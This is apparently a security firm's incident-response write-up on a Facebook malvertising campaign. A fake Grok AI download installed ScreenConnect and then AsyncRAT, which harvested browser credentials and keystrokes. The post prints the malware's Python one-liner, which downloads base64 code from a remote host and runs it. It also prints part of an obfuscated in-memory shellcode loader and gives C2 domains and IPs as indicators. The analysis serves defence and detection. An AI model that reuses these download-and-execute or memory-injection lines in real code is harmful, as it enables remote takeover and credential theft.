Verder naar navigatie Doorgaan naar hoofdinhoud Ga naar de voettekst

Masquerade: You Downloaded ScreenConnect not Grok AI!

by Molly Dewis

18 juli 2025

Tldr;

This post will delve into a recent incident response engagement handled by NCC Group’s Digital Forensics and Incident Response (DFIR) team, involving AsyncRAT.

Below provides a summary of findings which are presented in this blog post:

  • Initial access via a drive by compromise
  • Use of ScreenConnect for persistence and file transfers
  • Credential Harvesting via AsyncRAT

Incident Overview

The Threat Actor created a malicious advert on Facebook which the affected user clicked. This led to the execution of ScreenConnect disguised as a Grok AI creation.

Files were transferred to the host using ScreenConnect; one of these files was AsyncRAT. This was a single host attack however browser data was collected and keystrokes recorded which were likely exfiltrated by the Threat Actor.

Timeline

T + 0 days – Malicious advert clicked

T + 1 minute – New ScreenConnect service installed

T + 1 day – AsyncRAT transferred and executed on host

T + 4 days – Creation of browser data zip

T + 6 days – Recorded keystrokes log file created.

Mitre TTPs

Resource Development

T1583.008 – Acquire Infrastructure: Malvertising

The Threat Actor had created a malicious advert on Facebook which included the malicious domain canvadreamlab[.]xyz.

The origin URL is hxxps://shortenworld[.]com/branded-domain/canvadreamlab.xyz, which utilises the URL shortener Shorten World.

Initial Access

T1189 – Drive by Compromise

The user downloaded a file from hxxps://openaigrok[.]com, after clicking on a Facebook paid advert.

hxxps://l.facebook[.]com/l.php? u=http%3A%2F%2Fcanvadreamlab.xyz%2Fai%3Futm_medium%3Dpaid%26utm_source…

Execution

T1204.002 – User Execution: Malicious File

The user downloaded the following file:

C: \Users\<USER>\Downloads\Creation_Made_By_GrokAI.mp4 OpenAI.com

Subsequently, the C:\Windows\Prefetch\CREATION_MADE_BY_GROKAI.MP4  -3F3E21F6.pf file invoked a ScreenConnect Windows Installer file which was installed on the host in C: \Users\<USER>\AppData\Local\Temp\ScreenConnect\24.4.4.9118\aeef6885fa9229dd\ScreenConnect.ClientSetup.msi.

T1569.002 – System Services: Service Execution The Threat Actor installed a new ScreenConnect service.

{"EventData":{"Data":[{"@Name":"ServiceName","#text":"ScreenConnect Client
(aeef6885fa9229dd)"},{"@Name":"ImagePath","#text":"\"C:\\Program Files (x86)\\ScreenConnect

Client (aeef6885fa9229dd)\\ScreenConnect.ClientService.exe\" \"? 

e=Access&amp;y=Guest&amp;h=jtsec.innocreed.com 

… 

{"@Name":"StartType","#text":"autostart"},{"@Name":"AccountName","#text":"LocalSystem"}]}}

The domain associated with this service installation was jtsec.innocred[.]com. The ScreenConnect user configuration file also contained the IP address 194.26.192[.]107.

T1059.006 – Command and Scripting Interpreter: Python

The C:\xmetavip script was created, as well as 4 files within this folder: 9f.bat, vcruntime140.dll, python310.dll and pw.exe.

Persistence

T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

powershell.exe was utilised to create a new property for a specified item and sets its value. The property was the path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and the value was C:\xmetavip\9f.bat, meaning 9f.bat ran every time the user logged in.

Defence Evasion

T1218.005 – System Binary Proxy Execution: Mshta

C:\Windows\Prefetch\MSHTA.EXE-5D4FFD8E.pf was executed and subsequently the folder, C:\xmetavip, was created on the affected host.

T1406 – Obfuscated Files or Information

The file 9f.bat was heavily obfuscated, an attempt by the Threat Actor to make analysis of the file more difficult. The base64.b64decode function was used in one of the payloads associated with 9f.bat indicating base64 encoding had been used by the Threat Actor.

Credential Access

T1056.001 – Input Capture: Keylogging

The file C:\Users\<USER>\AppData\Local\Temp\Log.tmp was created. This log when examined contained recorded keystrokes. After analysis of the 9f.bat file, the final payload was identified as AsyncRAT which has keylogging capabilities

Collection

T1560 – Archive Collected Data

The file C:\Users\<USER>\AppData\Local\Temp\[REDACTED]\REDACTED.zip was created on the host. The zip file contained the following folders which largely consisted of browser data such as login credentials and cookies:

  • AutoFills (Chrome_Default.txt, Chrome_Profile 1.txt, Edge_Default.txt)
    -Cookies Browser (Chrome_Default.txt, Chrome_Profile 1.txt, Edge_Default.txt)
  • Google Chrome Token (Chrome_Profile 1.txt)
  • All Passwords.txt
    -Facebook_Cookies.txt
    -Word_List.txt

Command and Control

T1219 – Remote Access Software

The Threat Actor utilised the remote access application ScreenConnect. The ScreenConnect user configuration file contained the jtsec.innocreed[.]com domain and 194.26.192[.]107 IP address.

The Threat Actor utilised the file transfer feature of this application. The files transferred can be seen below:

  • xDone.bat
  • X-METAPURE_crypted.bat
  • 0718x.bat

None of these files were on disk at the time of the investigation so their exact purpose is unknown.

AsyncRAT

The files 9f.bat, vcruntime140.dll, python310.dll and pw.exe, likely transferred via ScreenConnect resided on the host at the time of analysis and were further investigated.

It was identified that pw.exe was the legitimate Python interpreter and the above DLL files belonged to pw.exe. However, 9f.bat was malicious.

When 9f.bat was executed, it used Mshta, the Windows utility designed to execute script code. Also, Chcp, the Windows utility to change the active console code page, was leveraged by the Threat Actor; observed when C:\Windows\Prefetch\CHCP.COM-2CF9B15C.pf was launched.

Command Prompt was then used to execute the C:\xmetavip\pw.exe file which imported base64 encoded code.

import urllib.request;import base64;exec(base64.b64decode(urllib.request.urlopen('https:// authenticate-meta.com/purelogbank2').read().decode('utf-8')))%

When decoded, this retrieved the URL hxxps://authenticate-meta[.]com/purelogbank2. The content on this URL was a large amount of base64.

The payload from this URL contained obfuscated Python code. It likely downloaded extra payloads and executed these in memory. The code below indicates the use of the kernel32.RtlMoveMemory function [1].

buf = base64.b64decode(urllib.request.urlopen((lambda : (lambda : (lambda
: R_E_D__A_V____(______________R_E_D__A_V______________
(R_E_D__
A_V______________(R_E_D__A_V____ ___________, [(lambda :
R_E_D__
A_V(b'R_E_D__A_V__\xffyg'))(), (lambda : R_E_D__A_V(b'R_E_D__A_V__
\xffys'))(), (lambda : R_E_D__
A_V(b'R_E_D__A_V__\xffys'))(), (lambda :
... ()).read().decode((lambda : (lambda : (lambda : R_E_D__
A_V____
(__
____________R_E_D__A_V______________(R_E_D__A_V______________
(R_E_D__
A_V____ ___________, [(lambda : R_E_D__A_V(b'R_E_D__A_V__\xffyt'))
(), (lambda : R_E_D__A_V(b'R_E_D__A_V__\xffys'))(), (lambda : R_E_D__A_V(b'R_E_D__A_V__\
xffye'))(), (lambda : R_E_D__A_V(b'R_E_D__A_V__\xffy,'))(), (lambda :
R_
E_D__A_V(b'R_E_D__A_V__\xffy7')) ()]))))())())())) memAddr =
kernel32.VirtualAlloc(None, len(buf), (lambda : R_E_D__A_V(b'R_E_D__A_V__0
\x00'))(), (lambda : R_
E_D__A_V(b'R_E_D__A_V__@')) ()) kernel32.
RtlMoveMemory(memAddr, buf, len(buf)) th = kernel32.CreateThread
(ctypes.c_int((lambda : R_E_D__A_V(b'R_E_D__A_V__')) ()), ctypes.c_int
((lambda : R_
E_D__A_V(b'R_E_D__A_V__'))()), ctypes.c_void_p(memAddr),
ctypes.c_int((lambda : R_E_D__A_V(b'R_E_D__A_V__')) ()), ctypes.c_int
((lambda : R_
E_D__A_V(b'R_E_D__A_V__'))()), ctypes.pointer(ctypes.c_int
((lambda : R_
E_D__A_V(b'R_E_D__A_V__'))()))) kernel32.WaitForSingleObject
(th, -(lambda : R_E_D__A_V(b’R_E_D__A_V__\x01’))())

The 9f.bat file pulls in the purelogbank2 python script, which then downloads the next payload, Isrgorpev22.b64 and there it continues the various stages. The Isrgorpev22.b64 file was identified to be shellcode - a small piece of executable code used as a payload to carry out malicious commands. The shellcode decrypts a .Net shellcode and is loaded by the donut loader [2]. Donut is a code that enables in-memory execution of VBScript, JScript, EXE, DLL files and .Net assemblies.

The final payload is an obfuscated .Net executable (that came from shellcode) and was identified to be AsyncRAT with C2 capabilities. The final payload connects to 185.149.232[.]197:56001 over SSL.

Recommendations

  • Plaintext passwords were identified on the affected host. User awareness training is vital to ensure users understand the risks of storing passwords on devices. Providing alternative solutions such as a password manager, which access to is logged, is advised.
  • Disable Autofill in browsers. The affected user had AutoFill enabled which meant the Threat Actor was able to harvest their personal details easily.

IOCs

Vale Type Comment
canvadreamlab[.]xyz Domain Facebook advert URL
jtsec.innocreed[.]com Domain Domain ScreenConnect user configuration
authenticate-meta[.]com Domain Domain Linked to 9f.bat
194.26.192[.]107 IP ScreenConnect user configuration
openaigrok[.]com Domain Fake domain
9248D6CC80B61F3FE0B9D 280B86A3AEFF2AA73F0 Hash SHA1 Hash for 9f.bat
723d51af347d333f89a6213 714ef6540520a55c9 Hash SHA1 Hash for ScreenConnect executable
185.149.232[.]197:56001 IP:Port Final payload C2 linked to 9f.bat

References

[1] https://www.forcepoint.com/blog/x-labs/asyncrat-reloaded-python-trycloudflare-malware

[2] https://github.com/TheWover/donut